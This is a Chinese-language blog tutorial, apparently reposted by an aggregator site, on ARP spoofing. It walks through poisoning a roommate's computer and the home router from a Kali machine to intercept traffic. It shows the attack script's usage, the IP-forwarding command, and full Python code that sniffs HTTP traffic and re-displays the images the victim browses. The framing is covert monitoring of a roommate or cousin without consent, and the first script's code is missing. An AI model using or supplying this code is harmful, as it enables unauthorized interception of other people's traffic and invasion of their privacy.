序
这篇文章研究了arp协议,并且利用Python编程实现一次简单的局域网arp攻击,抓取室友网上浏览的图片(滑稽脸)
二、arp协议研究
在进行arp攻击之前,先来研究一下arp协议
进群:548377875 即可获取数十套pdf哦!
1.arp协议数据包
op:1(op值为1说明这是一次arp请求) hwsrc:发送方MAC地址(即本机器MAC地址) psrc:发送方ip地址(即本机内网ip地址) hwdst:目标MAC地址(在这里为未知00:00:00:00:00:00) pdst:目标ip地址(即网关ip地址,一般为192.168.0.1/192.168.1.1)局域网内所有机器接收此arp请求,如果发现请求的ip为自己的ip便会向请求机器发送arp响应,将自己的MAC地址带入arp响应包单播发送给请求的机器,arp响应包主要字段如下
op:2(op值为2说明这是一次arp响应) hwsrc:发送方MAC地址(即网关MAC地址) psrc:发送方ip地址(即网关ip地址) hwdst:目标MAC地址(为发起arp请求的机器的MAC地址) pdst:目标ip地址(为发起arp请求的机器的ip地址)op:2(op值为2说明这是一次arp响应) hwsrc:发送方MAC地址(攻击者MAC地址) psrc:发送方ip地址(受害者ip地址) hwdst:目标MAC地址(网关MAC地址) pdst:目标ip地址(网关ip地址)同样的网关在不断接受到此arp响应时也会不断的更新自己的arp缓存去建立错误的关系,我们的kali攻击机便可以双向的截获流量
4.用python实现arp攻击
所需的python第三方库
scapy库:scapy是一个可用于网络嗅探的非常强大的第三方库。可以伪造,嗅探或发送网络数据包,这这里我们使用scapy库伪造arp响应包并发送,首先安装scapy库,kali默认自带
pip install scapy
模拟攻击环境,一个真实的局域网,就是我们寝室
自己的kali攻击机:192.168.0.106,装在vm虚拟机中,连接了RT3070型号的无线网卡 室友的电脑:192.168.0.108,连接同一路由器的无线网 网关:192.168.0.15.编写python代码:
6.脚本使用到的scapy库中的几个函数
get_if_hwaddr("本地网卡名称(eth0/wlan0)") 根据所选择的本地网卡获取相应的本地网卡的MAC地址
所以我们这样输入可以双向的欺骗网关和目标机器完中间人攻击
python arpattack.py -i 网卡 -t 要攻击的目标的ip地址 -g 网关ip
输入
python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1
选择无线网卡wlan0的MAC地址去欺骗室友的电脑和网关路由器,如果我和室友都插了网线,就要选择eth0
运行脚本便会不断的向室友的电脑和网关发送arp响应包进行双向欺骗,效果如下
这时我们截获了室友电脑和网关之间的流量,使其不能相互通信,完成了arp断网
echo "1">/proc/sys/net/ipv4/ip_forward
开启流量转发,这时室友和网关正常通讯,但是流量会经过我们的网卡
接下来用python编写代码查看室友电脑浏览的网页图片,其实不难,因为浏览图片一般都是向服务器发送一次请求图片的http请求,所以只需从经过我们网卡的流量中过滤tcp80端口的数据包(http协议),将数据包的头部层层去掉,最后便能得到应用层的http数据包,在利用正则表达式将http://*.jpg筛选出来即可知道室友请求了哪些图片,python的pcap库和dpkt库可以使我们很容易的得到电脑网卡流量中的http应用层数据包
python代码如下stealimg.py
import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urlList=[]
def main():
usage="Usage: [-i interface]"
parser=OptionParser(usage)
parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
(options,args)=parser.parse_args()
if options.interface:
interface=options.interface
pc=pcap.pcap(interface)
pc.setfilter('tcp port 80')
for ptime,pdata in pc:
getimg(pdata)
else:
parser.print_help()
sys.exit(0)
def getimg(pdata):
global urlList
p=dpkt.ethernet.Ethernet(pdata)
if p.data.__class__.__name__=='IP':
if p.data.data.__class__.__name__=='TCP':
if p.data.data.dport==80:
pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif
img=re.findall(pa,p.data.data.data)
if img!=[]:
lines=p.data.data.data.split(' ')
for line in lines:
if 'Host:' in line:
url='http://'+line.split(':')[-1].strip()+img[-1]
if url not in urlList:
urlList.append(url)
if 'Referer:' in p.data.data.data:
for line in lines:
if 'Referer:' in line:
referer=line.split(':')[-1].strip()
print url
r=requests.get(url,headers={'Referer':referer})
img=Image.open(BytesIO(r.content))
img.show()
else:
r=requests.get(url)
img=Image.open(BytesIO(r.content))
img.show()
else:
pass
if __name__=='__main__':
main()
总结以上是内存溢出为你收集整理的表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸全部内容,希望文章能够帮你解决表弟天天宅在卧室也不出门!我用Python监控了他浏览的网页!捂脸所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)